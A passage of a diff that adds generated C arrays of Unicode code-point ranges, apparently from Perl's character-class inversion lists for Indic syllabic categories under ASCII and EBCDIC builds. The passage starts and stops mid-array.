+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE2F,
+	0xE30,
+	0xE3B,
+	0xE40,
+	0xE46,
+	0xE47,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEAF,
+	0xEB0,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC8,
+	0xECC,
+	0xECD,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF20,
+	0xF34,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF86,
+	0xF88,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x1000,
+	0x104A,
+	0x104E,
+	0x104F,
+	0x1050,
+	0x109E,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1735,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17B4,
+	0x17B6,
+	0x17D4,
+	0x17DC,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1946,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B80,
+	0x1BF4,
+	0x1C00,
+	0x1C38,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C50,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE2,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DFB,
+	0x1DFC,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x2015,
+	0x2074,
+	0x2075,
+	0x2082,
+	0x2085,
+	0x25CC,
+	0x25CD,
+	0xA800,
+	0xA802,
+	0xA803,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F4,
+	0xA900,
+	0xA92E,
+	0xA930,
+	0xA954,
+	0xA980,
+	0xA9C1,
+	0xA9D0,
+	0xA9DA,
+	0xA9E0,
+	0xA9E6,
+	0xA9E7,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA60,
+	0xAA70,
+	0xAA71,
+	0xAA77,
+	0xAA7A,
+	0xAAC3,
+	0xAAE0,
+	0xAAF0,
+	0xAAF5,
+	0xAAF7,
+	0xABC0,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x11000,
+	0x11047,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110BB,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11174,
+	0x11180,
+	0x111C4,
+	0x111CA,
+	0x111CD,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x1135E,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x11448,
+	0x11450,
+	0x1145A,
+	0x11481,
+	0x114C5,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x11641,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173C,
+	0x11A00,
+	0x11A40,
+	0x11A45,
+	0x11A46,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C41,
+	0x11C50,
+	0x11C6D,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_INSC__OTHER_invlist[] = { /* for EBCDIC 1047 */
+	613,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x60,
+	0x61,
+	0xBF,
+	0xC0,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0x900,
+	0x950,
+	0x951,
+	0x953,
+	0x955,
+	0x964,
+	0x966,
+	0x970,
+	0x972,
+	0x980,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA74,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC81,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE2F,
+	0xE30,
+	0xE3B,
+	0xE40,
+	0xE46,
+	0xE47,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEAF,
+	0xEB0,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC8,
+	0xECC,
+	0xECD,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF20,
+	0xF34,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF86,
+	0xF88,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x1000,
+	0x104A,
+	0x104E,
+	0x104F,
+	0x1050,
+	0x109E,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1735,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17B4,
+	0x17B6,
+	0x17D4,
+	0x17DC,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1946,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B80,
+	0x1BF4,
+	0x1C00,
+	0x1C38,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C50,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE2,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DFB,
+	0x1DFC,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x2015,
+	0x2074,
+	0x2075,
+	0x2082,
+	0x2085,
+	0x25CC,
+	0x25CD,
+	0xA800,
+	0xA802,
+	0xA803,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F4,
+	0xA900,
+	0xA92E,
+	0xA930,
+	0xA954,
+	0xA980,
+	0xA9C1,
+	0xA9D0,
+	0xA9DA,
+	0xA9E0,
+	0xA9E6,
+	0xA9E7,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA60,
+	0xAA70,
+	0xAA71,
+	0xAA77,
+	0xAA7A,
+	0xAAC3,
+	0xAAE0,
+	0xAAF0,
+	0xAAF5,
+	0xAAF7,
+	0xABC0,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x11000,
+	0x11047,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110BB,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11174,
+	0x11180,
+	0x111C4,
+	0x111CA,
+	0x111CD,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x1135E,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x11448,
+	0x11450,
+	0x1145A,
+	0x11481,
+	0x114C5,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x11641,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173C,
+	0x11A00,
+	0x11A40,
+	0x11A45,
+	0x11A46,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C41,
+	0x11C50,
+	0x11C6D,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_INSC__OTHER_invlist[] = { /* for EBCDIC 037 */
+	613,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x60,
+	0x61,
+	0xBF,
+	0xC0,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0x900,
+	0x950,
+	0x951,
+	0x953,
+	0x955,
+	0x964,
+	0x966,
+	0x970,
+	0x972,
+	0x980,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA74,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC81,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE2F,
+	0xE30,
+	0xE3B,
+	0xE40,
+	0xE46,
+	0xE47,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEAF,
+	0xEB0,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC8,
+	0xECC,
+	0xECD,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF20,
+	0xF34,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF86,
+	0xF88,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x1000,
+	0x104A,
+	0x104E,
+	0x104F,
+	0x1050,
+	0x109E,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1735,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17B4,
+	0x17B6,
+	0x17D4,
+	0x17DC,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1946,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B80,
+	0x1BF4,
+	0x1C00,
+	0x1C38,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C50,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE2,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DFB,
+	0x1DFC,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x2015,
+	0x2074,
+	0x2075,
+	0x2082,
+	0x2085,
+	0x25CC,
+	0x25CD,
+	0xA800,
+	0xA802,
+	0xA803,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F4,
+	0xA900,
+	0xA92E,
+	0xA930,
+	0xA954,
+	0xA980,
+	0xA9C1,
+	0xA9D0,
+	0xA9DA,
+	0xA9E0,
+	0xA9E6,
+	0xA9E7,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA60,
+	0xAA70,
+	0xAA71,
+	0xAA77,
+	0xAA7A,
+	0xAAC3,
+	0xAAE0,
+	0xAAF0,
+	0xAAF5,
+	0xAAF7,
+	0xABC0,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x11000,
+	0x11047,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110BB,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11174,
+	0x11180,
+	0x111C4,
+	0x111CA,
+	0x111CD,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x1135E,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x11448,
+	0x11450,
+	0x1145A,
+	0x11481,
+	0x114C5,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x11641,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173C,
+	0x11A00,
+	0x11A40,
+	0x11A45,
+	0x11A46,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C41,
+	0x11C50,
+	0x11C6D,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_INSC__PUREKILLER_invlist[] = { /* for all charsets */
+	39,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD3B,
+	0xD3D,
+	0xE3A,
+	0xE3B,
+	0xE4E,
+	0xE4F,
+	0xF84,
+	0xF85,
+	0x103A,
+	0x103B,
+	0x1714,
+	0x1715,
+	0x1734,
+	0x1735,
+	0x17D1,
+	0x17D2,
+	0x1A7A,
+	0x1A7B,
+	0x1BAA,
+	0x1BAB,
+	0x1BF2,
+	0x1BF4,
+	0xA806,
+	0xA807,
+	0xA953,
+	0xA954,
+	0xABED,
+	0xABEE,
+	0x11134,
+	0x11135,
+	0x112EA,
+	0x112EB,
+	0x1172B,
+	0x1172C,
+	0x11A34,
+	0x11A35,
+	0x11D44,
+	0x11D45
+};
+
+static const UV PL_INSC__REGISTERSHIFTER_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
